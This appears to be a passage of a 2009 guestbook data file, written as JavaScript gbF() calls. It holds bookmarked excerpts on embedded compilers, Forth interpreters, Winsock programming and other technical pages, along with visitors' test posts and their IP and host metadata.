"SDCC is a retargettable, optimizing ANSI - C compiler that targets the Intel 8051, Maxim 80DS390, Zilog Z80 and the Motorola 68HC08 based MCUs. Work is in progress on supporting the Microchip PIC16 and PIC18 series. SDCC is Free Open Source Software, distributed under GNU General Public License (GPL).<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Mon, 17 Aug 2009 06:55:47 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.solarnavigator.net/wind_turbines.htm",
"A wind turbine is a machine that converts the kinetic energy in wind into mechanical energy.",
"",
"  <BR>\
<BR>\
 <BR>\
<BR>\
A wind turbine is a machine that converts the kinetic energy in wind into mechanical energy. If the mechanical energy is used directly by machinery, such as a pump or grinding stones, the machine is usually called a windmill. If the mechanical energy is converted to electricity, the machine is called a wind generator, or more commonly a wind turbine (wind energy converter WEC). <BR>\
<BR>\
"
);

gbF( // guestbook.pl 
"Your name","","Thu, 27 Aug 2009 08:02:36 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://math.fullerton.edu/mathews/n2003/QRMethodMod.html",
"QR eigen values",
"",
"Module <BR>\
for<BR>\
<BR>\
The QR Method for Eigenvalues<BR>\
<BR>\
     <BR>\
<BR>\
Background for QR Method<BR>\
<BR>\
    Suppose that A is a real symmetric matrix.  Householder’s method is used to construct a similar tridiagonal matrix.  Then the QR method is used to find all eigenvalues of the tridiagonal matrix.  In the latter construction, plane rotations similar to those that were introduced in Jacobi’s method are used to construct the orthogonal matrices  .  The important step the QR method is the factorization    and iteration  .  <BR>\
<BR>\
 <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"ali","elredeany2010@yahoo.com","Fri, 28 Aug 2009 21:16:39 UTC+0100","41.237.6.206  | host-41.237.6.206.tedata.net  ",
"",
"http://www.dougrice.plus.com/hp/news/index.htm",
"",
"",
"agaggagagagas<BR>\
asasd asdasd<BR>\
asdasdasds"
);
gbF( // guestbook.pl 
"test","ahdegroot@orange.nl","Mon, 31 Aug 2009 08:08:06 UTC+0100","85.150.32.22  | 55962016.adsl.wanadoo.nl  ",
"",
"http://www.nu.nl",
"news site",
"",
""
);
gbF( // guestbook.pl 
"test","test@test.nl","Mon, 31 Aug 2009 08:25:50 UTC+0100","85.150.32.22  | 55962016.adsl.wanadoo.nl  ",
"",
"www.nu.nl",
"test",
"",
""
);
gbF( // guestbook.pl 
"Your name","","Sat, 5 Sep 2009 19:39:05 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.robot-electronics.co.uk/htm/usb_i2c_tech.htm",
"USB-I2C  USB to I2C Communications Module",
"",
"The USB-I2C module provides a complete interface between your PC and the I2C bus. The module is self powered from the USB cable and can supply up to 70mA at 5v for external circuitry from a standard 100mA USB port. The module is an I2C master only, not a slave.<BR>\
<BR>\
<BR>\
<BR>\
First Step - Get The Drivers<BR>\
The USB-I2C module uses the FTDI FT232R USB chip to handle all the USB protocols. The documentation provided by FTDI is very complete, and is not duplicated here. Before using the USB-I2C, you will need to install FTDI\'s Virtual COM Port ( VCP ) Drivers. These drivers appear to the system as an extra Com Port ( in addition to any existing hardware Com Ports ). Application software accesses the USB device in the same way as it would access a standard Windows Com Port using the Windows VCOMM API calls or by using a Com Port  Library. Drivers are available for Windows, Apple, Linux and Open BSD systems directly from the FTDI website. You should get and install the drivers now, before you connect the USB-I2C to your computer. The Drivers page is here. <BR>\
<BR>\
Which COM port?<BR>\
After installing the drivers, and plugging in the USB-I2C module to a spare USB port, you will want to know which COM port it has been assigned to. This will vary from system to system depending on how many COM ports you currently have installed. To find out where it is, right click on your \"My Computer\" desktop icon and select the \"Device Manager\" tab. Now scroll down and open the \"Ports (COM & LPT)\" tab. You should see the USB serial port listed - COM2 in the example below. If you want to change the COM port number - just right click on it, select properties, select advanced and select the COM port number from the available list. The COM port should be set up for 19200 baud, 8 data bits, no parity and two stop bits. <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Mon, 14 Sep 2009 22:34:08 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.codersource.net/winsock_tutorial_server_event_model.html",
"Socket Server in Winsock Event Object Model",
"",
"Date: 5/1/2004 12:00:00 AM<BR>\
    The third part of this Winsock tutorial  provides a useful way to handle sockets by using an Event based model. This model uses the CreateEvent function to create an event object, which can be made to wait using WSAWaitForMultipleEvents for the network events. There is also an article on Winsock select model.<BR>\
<BR>\
    When some network event occurs in relation to the socket, the above function (WSAWaitForMultipleEvents ) returns immediately with the event type that occured. Till that point, it blocks the execution at the particular thread. Here are the type of events that are returned and used for manipulation of the various network states. "
);
gbF( // guestbook.pl 
"Your name","","Sun, 27 Sep 2009 07:53:49 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://solidcoding.blogspot.com/2008/12/wforth-javascript-forth-interpreter.html",
"wForth - A JavaScript Forth Interpreter",
"",
"wForth - A JavaScript Forth Interpreter<BR>\
<BR>\
‘wForth’ is a JavaScript based Forth interpreter. It is a simplified version of Forth and doesn’t contain all the functionality of a ANSI Forth system. The main goal of it is to provide a basic web based platform for people to try out programming with Forth. At the same time though, I wanted it flexible enough to allow programmers to write their own JavaScript Forth dictionaries to customize and extend the system. For example, allow wForth to interact with others aspects of the browser or to hook into Ajax calls to interact with servers.<BR>\
<BR>\
Why wForth? jForth, jsForth, webForth were all taken. So wForth is for web based Forth.<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sun, 27 Sep 2009 08:05:31 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.figuk.plus.com/webforth/Index.htm",
"webForth",
"",
"Forth applet"
);
gbF( // guestbook.pl 
"Your name","","Sun, 27 Sep 2009 20:11:46 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.ddj.com/embedded/207801675?pgno=3",
"You might first ask why I was motivated to implement Forth in Java and the answer would be to see how it might be done.",
"",
"Java Implementation<BR>\
<BR>\
You might first ask why I was motivated to implement Forth in Java and the answer would be to see how it might be done. Before being flamed, I should state the implementation I provide should really be called \"Forth-like\" as it stems from my recollection of how Forth works rather than a strict adherence to Forth standards. Also it was not done with any practical purpose in mind other than as a feasibility demonstration for fun. Finally, the Java implementation which I call \"JForth,\" is not particularly efficient in terms of speed, memory usage, or anything else, but it served its purpose. The complete source code for JForth (packaged in a jar file which contains all of the javadocs, compiled classes, and source files) is available online. <BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Mon, 28 Sep 2009 08:40:08 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.thefreecountry.com/compilers/forth.shtml",
"List of free forths",
"",
""
);
gbF( // guestbook.pl 
"Your name","","Wed, 30 Sep 2009 08:31:39 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.dougrice.plus.com/reportCsv_files/rc.html",
"Forward and Backward Euler Integration exploration model",
"",
"Forward and Backward Euler Integration exploration model."
);
gbF( // guestbook.pl 
"Your name","","Tue, 13 Oct 2009 17:48:10 UTC+0100","95.168.113.214  |   ",
"",
"",
"",
"",
""
);
gbF( // guestbook.pl 
"Your name","","Fri, 16 Oct 2009 08:31:00 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://e4004.szyc.org/",
"Intel 4004 Microprocessor ",
"",
"<BR>\
<BR>\
The emulator, assembler and disassembler is written in JavaScript, so they are easy to execute on whatever platform with the internet browser and implemented JavaScript interpreter. The MCS-4 utilities core and GUI are based on the brilliant virtual 6502 emulator by Norbert Landsteiner, e-tradition.net.<BR>\
<BR>\
This program is provided for free and AS IS, therefore without any warranty.<BR>\
<BR>\
"
);

gbF( // guestbook.pl 
"Your name","","Fri, 30 Oct 2009 07:32:19 UTC+0000","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.suntrapman.org.uk/",
"Felixstowe really is the \"Suntrap of the East Coast\"",
"",
"Felixstowe really is the<BR>\
<BR>\
\"Suntrap of the East Coast\"<BR>\
<BR>\
This phrase has been used in the past in the official guide book,  and holiday makers and residents alike enjoy the  better than average Sunshine for the East Coast of  England.<BR>\
"
);
gbF( // guestbook.pl 
"Your namewtret","wertwer","Mon, 2 Nov 2009 17:29:48 UTC+0000","134.220.201.79  | w2k-itr03714.unv.wlv.ac.uk  ",
"",
"",
"wert",
"",
"wertewrt"
);
gbF( // guestbook.pl 
"Your name","","Tue, 3 Nov 2009 17:55:11 UTC+0000","193.113.37.7  |   ",
"",
"http://www.imaworldwide.com/",
"The Accelerating Implementation Methodology (AIM) provides a flexible, but disciplined structure for managing project implementation through to full Return on Investment.",
"",
"Accelerate Implementation of Your Strategic Business Goals <BR>\
IMA helps organizations navigate the waters of large-scale, complex organizational change with a business discipline and rigor not often associated with the human side of implementation. Our Accelerating Implementation Methodology (AIM) is world-renowned as a practical, repeatable framework that significantly enhances <BR>\
the likelihood of Return on Investment.<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Wed, 4 Nov 2009 21:11:33 UTC+0000","202.156.14.249 58.146.148.40 | proxy.202.156.14.249.maxonline.com.sg  ",
"",
"",
"",
"",
"test"
);
gbF( // guestbook.pl 
"Your name","","Thu, 5 Nov 2009 00:07:15 UTC+0000","88.241.35.26  |   ",
"",
"",
"",
"",
""
);
gbF( // guestbook.pl 
"Your name","","Tue, 10 Nov 2009 16:17:25 UTC+0000","193.167.146.16  |   ",
"",
"",
"",
"",
"asdadsa"
);
gbF( // guestbook.pl 
"JAJA","dsfsdf@fgfg.dk","Wed, 11 Nov 2009 01:25:16 UTC+0000","87.56.24.151  | 0x57381897.honqu1.dynamic.dsl.tele.dk  ",
"",
"",
"HEJ",
"",
"HEJ EHJ"
);
gbF( // guestbook.pl 
"kaka","kakaka@gmail.com","Thu, 12 Nov 2009 09:21:47 UTC+0000","125.161.220.44 10.10.10.11 | 44.subnet125-161-220.speedy.telkom.net.id  ",
"",
"gmail.com",
"",
"",
"Test"
);
gbF( // guestbook.pl 
"slayer","asd@asd.com","Thu, 12 Nov 2009 09:37:02 UTC+0000","78.183.51.230  |   ",
"",
"",
"",
"",
"test 2"
);
gbF( // guestbook.pl 
"anonymous","aaaaaaa@aaaaa.com","Sat, 14 Nov 2009 23:59:07 UTC+0000","98.221.68.160  | c-98-221-68-160.hsd1.nj.comcast.net  ",
"",
"http://www.microsoft.com/",
"good old bill",
"",
"hi"
);
gbF( // guestbook.pl 
"Your name","","Sun, 15 Nov 2009 13:56:43 UTC+0000","84.194.42.224  | d54C22AE0.access.telenet.be  ",
"",
"",
"",
"",
""
);
